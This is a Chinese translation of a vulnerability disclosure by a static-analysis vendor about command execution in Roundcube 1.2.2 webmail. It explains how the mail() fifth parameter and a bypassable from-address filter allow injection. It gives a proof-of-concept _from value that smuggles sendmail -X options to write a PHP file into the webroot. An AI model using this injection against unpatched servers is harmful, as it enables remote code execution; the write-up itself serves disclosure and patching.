Roundcube 1.2.2:通过邮件执行命令
译者:阳春
原文链接:
c14K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2M7X3W2H3M7%4c8W2j5$3S2Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5$3i4K6u0r3M7X3!0#2L8X3c8U0N6h3u0W2i4K6u0V1j5$3!0E0L8h3q4F1k6q4)9J5k6r3g2^5k6h3y4#2N6r3W2G2L8W2)9J5k6s2k6A6j5g2)9J5k6r3g2E0j5h3W2D9i4K6u0r3
原文作者:Robin Peraglie

Roundcube是一款广泛使用的开源的webmail软件,全世界有很多组织和公司都在使用。举个例子,过去12个月,它在SourceForge上的镜像文件的下载次数超过260,000,但是这不过是实际用户量的一小部分。把Roundcube安装在服务器上之后,它就可以提供一个网页给用户,用户使用浏览器进行登录认证并收发邮件。
在这篇文章里,我们看看一个攻击者如何,仅仅只是在Roundcube1.2.2(>=1.0)写一封邮件,就能远程在底层操作系统上执行任意指令。这个漏洞是高危的,因为所有默认安装都受影响。我们强烈要求所有Roundcube的管理员尽快升级软件到1.2.3版本。
RIPS 分析
译者注:RIPS是一款自动化静态分析PHP代码的工具。

RIPS花了25秒的时间完整分析了整个应用,并且检测出了上图所示的安全漏洞。虽然看起来问题挺多的,但是大部分都不是很严重,因为它们属于安装模块或者已弃用的代码。不过,我们建议还是要移除掉这些弃用的代码来修复这些漏洞,这样可以防止将来不安全的使用,或者跟其它安全问题掺和到一起,就像我们之前的圣诞日历系列文章(译者注:这篇文章是系列文章中的一篇,
圣诞日历系列)里论证的那样。
删减后的分析结果可以在我们的RIPS demo应用里看到。注意一点,为了确保漏洞可以修复,我们将结果限制在本文提及的问题上。
查看RIPS报告
要求
利用这个漏洞有以下几个条件。
1、 Roundcube必须是配置成使用PHP的mail()函数的(默认配置,如果没有指定SMTP)。
2、 PHP的mail()函数配置使用sendmail(默认配置,查看
sendmail_path)。
3、 PHP配置里的safe_mode是关闭的(默认配置,查看
safe_mode)。
4、 攻击者必须知道或者猜出webroot的绝对路径。
这些条件都不是很特别的要求,意味着现在在自然环境里有大量的存在漏洞的系统。
描述
在Roundcube1.2.2或者更早的版本里,用户的输入未经过滤就被传到了PHP内建函数mail()的第五个参数,这已被证明是有很高安全
风险的。问题出在mail()函数的调用会导致PHP执行sendmail程序。第五个参数可以传入一些额外的执行参数,更改sendmail的配置。因为sendmail提供了-X选项将邮件通信记录到一个文件,攻击者可以利用此参数在服务器的webroot下创建一个恶意PHP文件。虽然这个漏洞很罕见,极少人知,但是RIPS还是很快检测出来了。以下代码引发了漏洞。
program/steps/mail/sendmail.inc
$from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, $message_charset);
⋮
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);
这里,获取POST参数_from的值,然后传入到Roundcube的deliver_message()中作为第二个参数使用。
program/lib/Roundcube/rcube.php
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
⋮
if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
$sent = mail($to, $subject, $msg_body, $header_str);
else
[COLOR="Lime"]$sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);[/COLOR]
然后这个函数将$from参数传到调用的mail()函数中。意思是将定制的from header通过-f选项传递给sendmail程序。
不够安全的过滤
一个有趣的地方在于,似乎from电子邮件地址已被一个正则表达式预先过滤过了。最基本地,首先要确保$from参数中没有空格,来减少利用-f后面的参数进行攻击的可能性。在这里使用空格常数如$IFS或者新的shell命令 `都不成功。然而,应用中有一个逻辑缺陷导致这个过滤失效了。
program/steps/mail/sendmail.inc
else if ($from_string = rcmail_email_input_format($from)) {
[COLOR="lime"]if (preg_match(‘/(\S+@\S+)/‘, $from_string, $m))[/COLOR]
$from = trim($m1, ‘<>‘);
else
$from = null;
}
在105 行,从用户控制的$from参数里提取出一封无空格的邮件。不过,提取只有当rcmail_email_input_format()返回的值相当于TRUE时才会进行。接下来,我们分析一下这个函数。
program/steps/mail/sendmail.inc
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
// simplified email regexp, supporting quoted local part
$email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;
⋮
// replace new lines and strip ending ‘, ‘, make address input more valid
$mailto = trim(preg_replace($regexp, $replace, $mailto));
$items = rcube_utils::explode_quoted_string($delim, $mailto);
$result = array();
foreach ($items as $item) {
$item = trim($item);
// address in brackets without name (do nothing)
[COLOR="lime"]if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) {[/COLOR] $item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘));
$result[] = $item;
}
⋮
else if (trim($item)) {
continue;
}
⋮
}
if ($count) {
$RECIPIENT_COUNT += count($result);
}
return implode(‘, ‘, $result);
}
在863行,这个函数使用了另一个正则表达式,要求这一行在邮件匹配后面必须有个($)。攻击者使用的payload当然可以不需要满足这个条件,因此在foreach循环后,$result数组会保持空白。在这种情况下,876行的implode()函数返回一个空字符串(等价于FALSE),然后$from的值就不会被过滤和改变了。
概念的实证
当使用Roundcube发送邮件时,HTTP请求是可以被截断和更改的。这个地方,我们修改_from参数来在文件系统上创建一个恶意文件。
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
这将允许攻击者在web根目录创建一个可执行文件rce.php,内容是_subject参数的值,可以包含PHP代码。执行完请求之后,包含以下内容的文件就会被创建。
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<< format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<< -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]
因为邮件数据没有被编码,subject参数会被直接保存成明文。这将允许在可执行文件中注入PHP标签。
时间线
日期 事件
2016/11/21 首次联系供应商
2016/11/22
供应商在Github上修复漏洞
2016/11/28 供应商同意协调披露
2016/11/28
供应商发布Roundcube1.2.3
总结
Roundcube抵抗着来自很多方向的攻击,有一个大社区持续维护着它的安全。然而,此文描述的漏洞可以溜进来,由于稀有,这也是一种边缘情况。在自动检测工具的帮助下,我们不仅可以检测到此边缘情况,还节省了大量人力资源,从而可以在安全网络应用的开发过程中专注于不同方面。
我们十分感谢Roundcube团队仅用了一天时间就修复了漏洞,而且新的发行版一周后就发行了!他们对安全问题的回应非常令人印象深刻,也非常专业。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课